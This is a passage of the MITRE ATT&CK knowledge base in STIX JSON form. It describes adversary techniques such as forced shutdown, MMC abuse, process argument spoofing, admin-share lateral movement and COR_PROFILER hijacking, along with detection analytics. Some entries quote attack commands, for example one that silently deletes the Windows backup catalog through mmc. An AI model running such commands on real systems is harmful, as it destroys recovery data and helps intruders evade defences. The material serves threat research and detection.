            "modified": "2026-05-12T15:12:00.726Z",
            "name": "System Shutdown/Reboot",
            "description": "Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) (e.g. <code>reload</code>).(Citation: Microsoft Shutdown Oct 2017)(Citation: alert_TA18_106A) They may also include shutdown/reboot of a virtual machine via hypervisor / cloud consoles or command line tools.\n\nShutting down or rebooting systems may disrupt access to computer resources for legitimate users while also impeding incident response/recovery.\n\nAdversaries may also use Windows API functions, such as `InitializeSystemShutdownExW` or `ExitWindowsEx`, to force a system to shut down or reboot.(Citation: CrowdStrike Blog)(Citation: Unit42 Agrius 2023) Alternatively, the `NtRaiseHardError`or `ZwRaiseHardError` Windows API functions with the `ResponseOption` parameter set to `OptionShutdownSystem` may deliver a \u201cblue screen of death\u201d (BSOD) to a system.(Citation: SonicWall)(Citation: NtRaiseHardError)(Citation: NotMe-BSOD) In order to leverage these API functions, an adversary may need to acquire `SeShutdownPrivilege` (e.g., via [Access Token Manipulation](https://attack.mitre.org/techniques/T1134)).(Citation: Unit42 Agrius 2023)\n In some cases, the system may not be able to boot again. \n\nAdversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
                }
            ],
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_contributors": [
                "Austin Clark, @c2defense",
                "Hubert Mank",
                "Janantha Marasinghe"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "ESXi",
                "Linux",
                "macOS",
                "Network Devices",
                "Windows"
            ],
            "x_mitre_version": "1.5",
            "x_mitre_impact_type": [
                "Availability"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--ffbcfdb0-de22-4106-9ed3-fc23c8a01407",
            "created": "2021-09-28T01:36:41.638Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1218/014",
                    "external_id": "T1218.014"
                },
                {
                    "source_name": "abusing_com_reg",
                    "description": "bohops. (2018, August 18). ABUSING THE COM REGISTRY STRUCTURE (PART 2): HIJACKING & LOADING TECHNIQUES. Retrieved September 20, 2021.",
                    "url": "https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/"
                },
                {
                    "source_name": "mmc_vulns",
                    "description": "Boxiner, A., Vaknin, E. (2019, June 11). Microsoft Management Console (MMC) Vulnerabilities. Retrieved September 24, 2021.",
                    "url": "https://research.checkpoint.com/2019/microsoft-management-console-mmc-vulnerabilities/"
                },
                {
                    "source_name": "win_msc_files_overview",
                    "description": "Brinkmann, M.. (2017, June 10). Windows .msc files overview. Retrieved September 20, 2021.",
                    "url": "https://www.ghacks.net/2017/06/10/windows-msc-files-overview/"
                },
                {
                    "source_name": "win_mmc",
                    "description": "Microsoft. (2017, October 16). mmc. Retrieved September 20, 2021.",
                    "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/mmc"
                },
                {
                    "source_name": "win_wbadmin_delete_catalog",
                    "description": "Microsoft. (2017, October 16). wbadmin delete catalog. Retrieved September 20, 2021.",
                    "url": "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-delete-catalog"
                },
                {
                    "source_name": "win_clsid_key",
                    "description": "Microsoft. (2018, May 31). CLSID Key. Retrieved September 24, 2021.",
                    "url": "https://docs.microsoft.com/en-us/windows/win32/com/clsid-key-hklm"
                },
                {
                    "source_name": "what_is_mmc",
                    "description": "Microsoft. (2020, September 27). What is Microsoft Management Console?. Retrieved October 5, 2021.",
                    "url": "https://docs.microsoft.com/en-us/troubleshoot/windows-server/system-management-components/what-is-microsoft-management-console"
                },
                {
                    "source_name": "phobos_virustotal",
                    "description": "Phobos Ransomware. (2020, December 30). Phobos Ransomware, Fast.exe. Retrieved September 20, 2021.",
                    "url": "https://www.virustotal.com/gui/file/0b4c743246478a6a8c9fa3ff8e04f297507c2f0ea5d61a1284fe65387d172f81/detection"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2026-05-12T15:12:00.726Z",
            "name": "MMC",
            "description": "Adversaries may abuse mmc.exe to proxy execution of malicious .msc files. Microsoft Management Console (MMC) is a binary that may be signed by Microsoft and is used in several ways in either its GUI or in a command prompt.(Citation: win_mmc)(Citation: what_is_mmc) MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. These snap-ins may be used to manage Windows systems locally or remotely. MMC can also be used to open Microsoft created .msc files to manage system configuration.(Citation: win_msc_files_overview)\n\nFor example, <code>mmc C:\\Users\\foo\\admintools.msc /a</code> will open a custom, saved console msc file in author mode.(Citation: win_mmc) Another common example is <code>mmc gpedit.msc</code>, which will open the Group Policy Editor application window. \n\nAdversaries may use MMC commands to perform malicious tasks. For example, <code>mmc wbadmin.msc delete catalog -quiet</code> deletes the backup catalog on the system (i.e. [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)) without prompts to the user (Note: <code>wbadmin.msc</code> may only be present by default on Windows Server operating systems).(Citation: win_wbadmin_delete_catalog)(Citation: phobos_virustotal)\n\nAdversaries may also abuse MMC to execute malicious .msc files. For example, adversaries may first create a malicious registry Class Identifier (CLSID) subkey, which uniquely identifies a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) class object.(Citation: win_clsid_key) Then, adversaries may create custom consoles with the \u201cLink to Web Address\u201d snap-in that is linked to the malicious CLSID subkey.(Citation: mmc_vulns) Once the .msc file is saved, adversaries may invoke the malicious CLSID payload with the following command: <code>mmc.exe -Embedding C:\\path\\to\\test.msc</code>.(Citation: abusing_com_reg)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "stealth"
                }
            ],
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_contributors": [
                "Wes Hurd"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            ],
            "x_mitre_version": "3.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--ffe59ad3-ad9b-4b9f-b74f-5beb3c309dc1",
            "created": "2021-11-19T14:13:11.335Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1564/010",
                    "external_id": "T1564.010"
                },
                {
                    "source_name": "Xpn Argue Like Cobalt 2019",
                    "description": "Chester, A. (2019, January 28). How to Argue like Cobalt Strike. Retrieved November 19, 2021.",
                    "url": "https://blog.xpnsec.com/how-to-argue-like-cobalt-strike/"
                },
                {
                    "source_name": "Nviso Spoof Command Line 2020",
                    "description": "Daman, R. (2020, February 4). The return of the spoof part 2: Command line spoofing. Retrieved November 19, 2021.",
                    "url": "https://blog.nviso.eu/2020/02/04/the-return-of-the-spoof-part-2-command-line-spoofing/"
                },
                {
                    "source_name": "FireEye FiveHands April 2021",
                    "description": "McLellan, T.  and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021.",
                    "url": "https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html"
                },
                {
                    "source_name": "Microsoft PEB 2021",
                    "description": "Microsoft. (2021, October 6). PEB structure (winternl.h). Retrieved November 19, 2021.",
                    "url": "https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb"
                },
                {
                    "source_name": "Cobalt Strike Arguments 2019",
                    "description": "Mudge, R. (2019, January 2). https://blog.cobaltstrike.com/2019/01/02/cobalt-strike-3-13-why-do-we-argue/. Retrieved November 19, 2021.",
                    "url": "https://blog.cobaltstrike.com/2019/01/02/cobalt-strike-3-13-why-do-we-argue/"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2026-05-12T15:12:00.727Z",
            "name": "Process Argument Spoofing",
            "description": "Adversaries may attempt to hide process command-line arguments by overwriting process memory. Process command-line arguments are stored in the process environment block (PEB), a data structure used by Windows to store various information about/used by a process. The PEB includes the process command-line arguments that are referenced when executing the process. When a process is created, defensive tools/sensors that monitor process creations may retrieve the process arguments from the PEB.(Citation: Microsoft PEB 2021)(Citation: Xpn Argue Like Cobalt 2019)\n\nAdversaries may manipulate a process PEB to evade defenses. For example, [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) can be abused to spawn a process in a suspended state with benign arguments. After the process is spawned and the PEB is initialized (and process information is potentially logged by tools/sensors), adversaries may override the PEB to modify the command-line arguments (ex: using the [Native API](https://attack.mitre.org/techniques/T1106) <code>WriteProcessMemory()</code> function) then resume process execution with malicious arguments.(Citation: Cobalt Strike Arguments 2019)(Citation: Xpn Argue Like Cobalt 2019)(Citation: Nviso Spoof Command Line 2020)\n\nAdversaries may also execute a process with malicious command-line arguments then patch the memory with benign arguments that may bypass subsequent process memory analysis.(Citation: FireEye FiveHands April 2021)\n\nThis behavior may also be combined with other tricks (such as [Parent PID Spoofing](https://attack.mitre.org/techniques/T1134/004)) to manipulate or further evade process-based detections.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "stealth"
                }
            ],
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "2.0"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--ffe742ed-9100-4686-9e00-c331da544787",
            "created": "2017-05-31T21:31:00.200Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1077",
                    "external_id": "T1077"
                },
                {
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/561.html",
                    "external_id": "CAPEC-561"
                },
                {
                    "source_name": "Wikipedia SMB",
                    "description": "Wikipedia. (2016, June 12). Server Message Block. Retrieved June 12, 2016.",
                    "url": "https://en.wikipedia.org/wiki/Server_Message_Block"
                },
                {
                    "source_name": "TechNet RPC",
                    "description": "Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/cc787851.aspx"
                },
                {
                    "source_name": "Microsoft Admin Shares",
                    "description": "Microsoft. (n.d.). How to create and delete hidden or administrative shares on client computers. Retrieved November 20, 2014.",
                    "url": "http://support.microsoft.com/kb/314984"
                },
                {
                    "source_name": "Technet Net Use",
                    "description": "Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.",
                    "url": "https://technet.microsoft.com/bb490717.aspx"
                },
                {
                    "source_name": "Lateral Movement Payne",
                    "description": "Payne, J. (2015, November 26). Tracking Lateral Movement Part One - Special Groups and Specific Service Accounts. Retrieved February 1, 2016.",
                    "url": "https://docs.microsoft.com/en-us/archive/blogs/jepayne/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts"
                },
                {
                    "source_name": "Windows Event Forwarding Payne",
                    "description": "Payne, J. (2015, November 23). Monitoring what matters - Windows Event Forwarding for everyone (even if you already have a SIEM.). Retrieved February 1, 2016.",
                    "url": "https://docs.microsoft.com/en-us/archive/blogs/jepayne/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem"
                },
                {
                    "source_name": "Medium Detecting Lateral Movement",
                    "description": "French, D. (2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019.",
                    "url": "https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-24T17:49:40.422Z",
            "name": "Windows Admin Shares",
            "description": "Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include <code>C$</code>, <code>ADMIN$</code>, and <code>IPC$</code>. \n\nAdversaries may use this technique in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) to remotely access a networked system over server message block (SMB) (Citation: Wikipedia SMB) to interact with systems using remote procedure calls (RPCs), (Citation: TechNet RPC) transfer files, and run transferred binaries through remote Execution. Example execution techniques that rely on authenticated sessions over SMB/RPC are [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Service Execution](https://attack.mitre.org/techniques/T1035), and [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries can also use NTLM hashes to access administrator shares on systems with [Pass the Hash](https://attack.mitre.org/techniques/T1075) and certain configuration and patch levels. (Citation: Microsoft Admin Shares)\n\nThe [Net](https://attack.mitre.org/software/S0039) utility can be used to connect to Windows admin shares on remote systems using <code>net use</code> commands with valid credentials. (Citation: Technet Net Use)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "lateral-movement"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            ],
            "x_mitre_version": "1.2"
        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335",
            "created": "2020-06-24T22:30:55.843Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1574/012",
                    "external_id": "T1574.012"
                },
                {
                    "source_name": "Almond COR_PROFILER Apr 2019",
                    "description": "Almond. (2019, April 30). UAC bypass via elevated .NET applications. Retrieved June 24, 2020.",
                    "url": "https://offsec.almond.consulting/UAC-bypass-dotnet.html"
                },
                {
                    "source_name": "Red Canary COR_PROFILER May 2020",
                    "description": "Brown, J. (2020, May 7). Detecting COR_PROFILER manipulation for persistence. Retrieved June 24, 2020.",
                    "url": "https://redcanary.com/blog/cor_profiler-for-persistence/"
                },
                {
                    "source_name": "RedCanary Mockingbird May 2020",
                    "description": "Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020.",
                    "url": "https://redcanary.com/blog/blue-mockingbird-cryptominer/"
                },
                {
                    "source_name": "Microsoft COR_PROFILER Feb 2013",
                    "description": "Microsoft. (2013, February 4). Registry-Free Profiler Startup and Attach. Retrieved June 24, 2020.",
                    "url": "https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ee471451(v=vs.100)"
                },
                {
                    "source_name": "Microsoft Profiling Mar 2017",
                    "description": "Microsoft. (2017, March 30). Profiling Overview. Retrieved June 24, 2020.",
                    "url": "https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/profiling-overview"
                },
                {
                    "source_name": "subTee .NET Profilers May 2017",
                    "description": "Smith, C. (2017, May 18). Subvert CLR Process Listing With .NET Profilers. Retrieved June 24, 2020.",
                    "url": "https://web.archive.org/web/20170720041203/http://subt0x10.blogspot.com/2017/05/subvert-clr-process-listing-with-net.html"
                },
                {
                    "source_name": "GitHub OmerYa Invisi-Shell",
                    "description": "Yair, O. (2019, August 19). Invisi-Shell. Retrieved June 24, 2020.",
                    "url": "https://github.com/OmerYa/Invisi-Shell"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2026-05-12T15:12:00.727Z",
            "name": "COR_PROFILER",
            "description": "Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)\n\nThe COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013)\n\nAdversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and impair defenses provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017)",
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                    "kill_chain_name": "mitre-attack",
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            "x_mitre_contributors": [
                "Jesse Brown, Red Canary"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
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            "x_mitre_version": "2.0",
            "x_mitre_remote_support": false
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            "x_mitre_version": "1.0",
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            "x_mitre_domains": [
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            "x_mitre_platforms": [
                "Linux"
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                },
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
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                }
            ],
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                    "description": "Whitelist/blacklist tuned with external threat intel sources"
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                    "description": "Known safe daemons that frequently query domains"
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            "name": "Analytic 0613",
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            "x_mitre_domains": [
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            "x_mitre_platforms": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e",
                    "name": "auditd:SYSCALL",
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                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "linux:Sysmon",
                    "channel": "process creation events linked to container namespaces executing host-level binaries"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "SyscallWhitelist",
                    "description": "Expected syscalls by containerized workloads. Deviations may signal an escape attempt."
                },
                {
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                    "description": "Defines correlation window (e.g., 60s) between suspicious syscalls and follow-on host process activity."
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            ],
            "x_mitre_deprecated": false
        },
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            "type": "x-mitre-analytic",
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            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "external_id": "AN0769"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0769",
            "description": "The adversary invokes built-in scripting or decoding tools like base64, plutil, or AppleScript-based utilities to decode files embedded in staging artifacts. Decoding often occurs post-download or as part of post-exploitation payload deployment via zsh, python, or osascript.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_platforms": [
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            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
                    "name": "macos:unifiedlog",
                    "channel": "base64 -d or osascript invoked on staged file"
                }
            ],
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                {
                    "field": "DecodeInterpreter",
                    "description": "Could involve base64, osascript, python, perl, or plutil"
                },
                {
                    "field": "ExecutionContext",
                    "description": "Deobfuscation may happen within GUI app context or LaunchAgent/Daemon"
                },
                {
                    "field": "UserContext",
                    "description": "May differ depending on local user, root escalation, or persistence method"
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            ],
            "x_mitre_deprecated": false
        },
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            "type": "x-mitre-analytic",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "external_id": "AN0068"
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            "description": "Detection of packed Mach-O binaries unpacking into memory and transferring control to dynamically modified code segments.",
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            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
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                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "process::exec"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96",
                    "name": "macos:endpointsecurity",
                    "channel": "ES_EVENT_MMAP"
                }
            ],
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                {
                    "field": "SignedBinaryContext",
                    "description": "Helps to distinguish between signed/unsigned packed binaries (common in legitimate vs. malicious cases)."
                },
                {
                    "field": "UserContext",
                    "description": "Can be used to scope to specific users or service accounts targeted in attacks."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--003dd2ae-b156-4ebd-8a59-76f993056552",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0317#AN0887",
                    "external_id": "AN0887"
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            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 0887",
            "description": "Execution of commands that stop or kill processes associated with logging or security daemons (auditd, syslog, falco). Detect modifications to iptables or disabling SELinux/AppArmor enforcement. Correlate sudo/root context with abrupt service halts.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Linux"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "auditd:EXECVE",
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                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--61f1d40e-f3d0-4cc6-aa2d-937b6204194f",
                    "name": "auditd:SYSCALL",
                    "channel": "kill syscalls targeting logging/security processes"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--d2ff4b56-8351-4ed8-b0fb-d8605366005f",
                    "name": "linux:syslog",
                    "channel": "iptables or nftables rule changes"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "ServiceList",
                    "description": "Adjust monitored security service names depending on host configuration."
                },
                {
                    "field": "TimeWindow",
                    "description": "Correlate multiple kill/stop events in short succession."
                }
            ],
            "x_mitre_deprecated": false
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--00449d4c-48c7-4977-bf38-86fbc4e79285",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "modified": "2025-11-12T22:03:39.105Z",
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            "description": "Adversary disables or stops critical services (e.g., Exchange, SQL, AV, endpoint monitoring) using native utilities or API calls, often preceding destructive actions (T1485, T1486). Behavioral chain: Elevated execution context + stop-service or sc.exe or ChangeServiceConfigW + terminated or disabled service + possible follow-up file manipulation.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=1"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b",
                    "name": "WinEventLog:Security",
                    "channel": "EventCode=4672"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705",
                    "name": "WinEventLog:System",
                    "channel": "EventCode=7036"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--74fa567d-bc90-425c-8a41-3c703abb221c",
                    "name": "WinEventLog:Sysmon",
                    "channel": "EventCode=4"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "TimeWindow",
                    "description": "Time span between elevated privilege use and critical service stop"
                },
                {
                    "field": "ServiceName",
                    "description": "Service names of interest (e.g., MSExchangeIS, SQLSERVERAGENT)"
                },
                {
                    "field": "ParentProcess",
                    "description": "Upstream process lineage leading to service stop"
                }
            ]
        },
        {
            "type": "x-mitre-analytic",
            "id": "x-mitre-analytic--0066bac9-599a-4f7b-a667-9cb1dca94347",
            "created": "2025-10-21T15:10:28.402Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0514#AN1421",
                    "external_id": "AN1421"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-10-21T15:10:28.402Z",
            "name": "Analytic 1421",
            "description": "Detects use of vulnerable kernel extensions or entitlements abused via setuid or AppleScript injection chains.",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_version": "1.0",
            "x_mitre_attack_spec_version": "3.3.0",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_platforms": [
                "macOS"
            ],
            "x_mitre_log_source_references": [
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
                    "name": "macos:unifiedlog",
                    "channel": "process:exec and kext load events"
                },
                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1",
                    "name": "macos:endpointsecurity",
                    "channel": "ES_EVENT_TYPE_NOTIFY_KEXTLOAD"
                }
            ],
            "x_mitre_mutable_elements": [
                {
                    "field": "EntitlementList",
                    "description": "Entitlements vary by app and OS version; some allow unexpected behavior."
                },
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                    "field": "TimeWindow",
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                    "field": "UserContext",
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                {
                    "field": "CommandPattern",
                    "description": "Support detection of `Clear-History` and variations."
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            "description": "A process loads a shared object (.so) via dlopen/LD_PRELOAD/open from non-standard or temporary locations (e.g., /tmp, /dev/shm), especially shortly after that .so is written or fetched, or linked via manipulated environment variables (LD_PRELOAD/LD_LIBRARY_PATH).",
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                    "field": "AllowedSigning/HashList",
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                    "description": "Filter based on legacy or deprecated authentication mechanisms."
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            "description": "Opening of Office files where VBA source code appears benign or missing, but p-code remains active. Defender perspective: process execution of Office apps with macro execution lacking visible source components.",
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                    "field": "OfficeVersionScope",
                    "description": "Adjust for specific Office versions in use across macOS endpoints."
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            "description": "Compromised service account tokens mounted inside containers and reused for external API calls or lateral movement across services.",
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                    "field": "TimeWindow",
                    "description": "Frequency of snapshot creation in a defined period. Adjusted for environments with frequent automated backups."
                },
                {
                    "field": "GeoLocation",
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                    "field": "VolumeSensitivity",
                    "description": "Tagging or classification of volumes being snapshotted. Tuned to prioritize alerts when sensitive volumes are copied."
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            ],
            "x_mitre_deprecated": false
        },
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            "name": "Analytic 1291",
            "description": "Detects rogue DHCP activity by monitoring syslog for dhclient messages assigning unauthorized DNS/gateway values. Packet capture or IDS can detect multiple competing DHCP OFFERs from non-authorized servers.",
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                    "channel": "suspicious DHCP lease assignment with unexpected DNS or gateway"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a",
                    "name": "NSM:Flow",
                    "channel": "Gratuitous or duplicate DHCP OFFER packets from non-legitimate servers"
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            ],
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                {
                    "field": "AllowedDHCPMACs",
                    "description": "Expected MAC addresses of DHCP servers on subnet."
                },
                {
                    "field": "DHCPLeaseChangeThreshold",
                    "description": "Number of suspicious DHCP leases before raising an alert."
                }
            ],
            "x_mitre_deprecated": false
        },
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0323#AN0917",
                    "external_id": "AN0917"
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                    "channel": "ioctl/write: Direct firmware update or device memory manipulation syscalls"
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                {
                    "x_mitre_data_component_ref": "x-mitre-data-component--3551476e-14f5-4e48-a518-e82135329e03",
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            ],
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                    "field": "FirmwareImageBaseline",
                    "description": "Baseline firmware checksums for comparison"
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                    "field": "AlertThresholds",
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                }
            ],
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/detectionstrategies/DET0287#AN0797",
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            "name": "Analytic 0797",
